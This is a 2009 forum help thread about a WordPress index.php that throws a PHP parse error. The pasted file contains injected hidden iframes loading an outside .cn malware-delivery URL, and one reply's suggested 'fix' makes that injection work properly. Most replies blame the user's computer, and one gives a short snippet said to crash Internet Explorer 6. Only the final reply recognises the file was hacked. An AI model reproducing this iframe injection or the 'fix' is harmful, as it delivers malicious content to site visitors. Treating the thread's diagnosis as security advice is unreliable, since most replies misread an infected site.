Log In · Register

 
Help: Parse error: syntax error, unexpected '?'
lc2008
post Feb 8 2009, 03:06 AM
Post #1


Newbie
*

Group: Member
Posts: 9
Joined: Jun 2008
Member No: 657,170



This keeps showing up on my website:

Parse error: syntax error, unexpected '?' in /home/mileycyr/public_html/index.php on line 18

I can't find out whats wrong with it. Here is the code:

CODE
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?<html><iframe src="http://litetopfindworld.cn/in.cgi?cocacola44" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola42" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola39" width=1 height=1 style="visibility: hidden"></iframe></body></html>>
Reason for edit: Please use [codebox] tags when posting long codes. - Mike
 
 
Start new topic
Replies (1 - 12)
synatribe
post Feb 8 2009, 03:10 AM
Post #2


AIDS at RAVES.
******

Group: Official Designer
Posts: 2,386
Joined: Dec 2007
Member No: 598,878



check line 18 of the code, is there an extra ? in there?
 
Maccabee
post Feb 8 2009, 03:17 AM
Post #3


Senior Member
*******

Group: Official Designer
Posts: 5,880
Joined: Nov 2007
Member No: 593,382



It looks like your not ending the php

change it from this

This keeps showing up on my website:

Parse error: syntax error, unexpected '?' in /home/mileycyr/public_html/index.php on line 18

I can't find out whats wrong with it. Here is the code:

CODE
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?<html><iframe src="http://litetopfindworld.cn/in.cgi?cocacola44" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola42" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola39" width=1 height=1 style="visibility: hidden"></iframe></body></html>>


to this:

This keeps showing up on my website:

Parse error: syntax error, unexpected '?' in /home/mileycyr/public_html/index.php on line 18

I can't find out whats wrong with it. Here is the code:

CODE
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>
<html><iframe src="http://litetopfindworld.cn/in.cgi?cocacola44" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola42" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola39" width=1 height=1 style="visibility: hidden"></iframe></body></html>
Reason for edit: Please use [codebox] tags when posting long codes. - Mike
 
lc2008
post Feb 8 2009, 03:32 AM
Post #4


Newbie
*

Group: Member
Posts: 9
Joined: Jun 2008
Member No: 657,170



I tried the above code and the page finally opened up, but now it freezes and the window closes down.
 
Maccabee
post Feb 8 2009, 03:38 AM
Post #5


Senior Member
*******

Group: Official Designer
Posts: 5,880
Joined: Nov 2007
Member No: 593,382



That might have something to do with your computer.
Can you give a link to the page?
 
lc2008
post Feb 8 2009, 03:50 AM
Post #6


Newbie
*

Group: Member
Posts: 9
Joined: Jun 2008
Member No: 657,170



the link is http://www.mileycyrusweb.org
 
Mickey
post Feb 8 2009, 03:53 AM
Post #7


Treasure Pleasure
********

Group: Head Staff
Posts: 11,193
Joined: Oct 2005
Member No: 281,127



Use [codebox] tags when posting codes, guys.
 
lc2008
post Feb 8 2009, 04:13 AM
Post #8


Newbie
*

Group: Member
Posts: 9
Joined: Jun 2008
Member No: 657,170



I don't think it's my computer. I think it's the website.
 
newkidontheblock
post Feb 8 2009, 09:19 AM
Post #9


Offline.
*****

Group: Official Designer
Posts: 609
Joined: Mar 2007
Member No: 507,591



Their is nothing wrong with the code.. I tested the exact code that joseph provided and it works perfectly. here is a link
 
Maccabee
post Feb 8 2009, 11:26 AM
Post #10


Senior Member
*******

Group: Official Designer
Posts: 5,880
Joined: Nov 2007
Member No: 593,382



Its gotta be your computer or some other code cause there is nothing in there that could close a window. There is no code in the world that can close a window without the permission of the user.
 
fixtatik
post Feb 8 2009, 04:29 PM
Post #11


Senior Member
******

Group: Member
Posts: 1,237
Joined: May 2008
Member No: 648,123



^ yes there is.

kaboom, die IE 6.
CODE
<style>*{position:relative}</style><table><input></table>


there are a few more that also crash IE 6, but i don't remember them off the top of my head. also, javascript can do much damage without the knowledge of the user if the creator wishes it.
 
lc2008
post Feb 9 2009, 07:19 AM
Post #12


Newbie
*

Group: Member
Posts: 9
Joined: Jun 2008
Member No: 657,170



Yeah, I knew it was my computer..
 
netexperienced
post Mar 6 2009, 04:48 PM
Post #13


Newbie
*

Group: Member
Posts: 1
Joined: Mar 2009
Member No: 717,897



I don't know if anyone else noticed this, but your index.php file had been hacked.

Someone inserted that iframe into it, trying to make their site popup in place of yours, but they botched it.

I know this because I just repaired a similar problem and the cocacola part of that url in the iframe was the same.

Hope this helps future readers.
 

Reply to this topicStart new topic
2 User(s) are reading this topic (2 Guests and 0 Anonymous Users)
0 Members: